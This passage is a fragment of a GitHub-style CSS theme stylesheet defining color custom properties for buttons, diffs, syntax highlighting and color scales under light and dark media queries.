#f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: 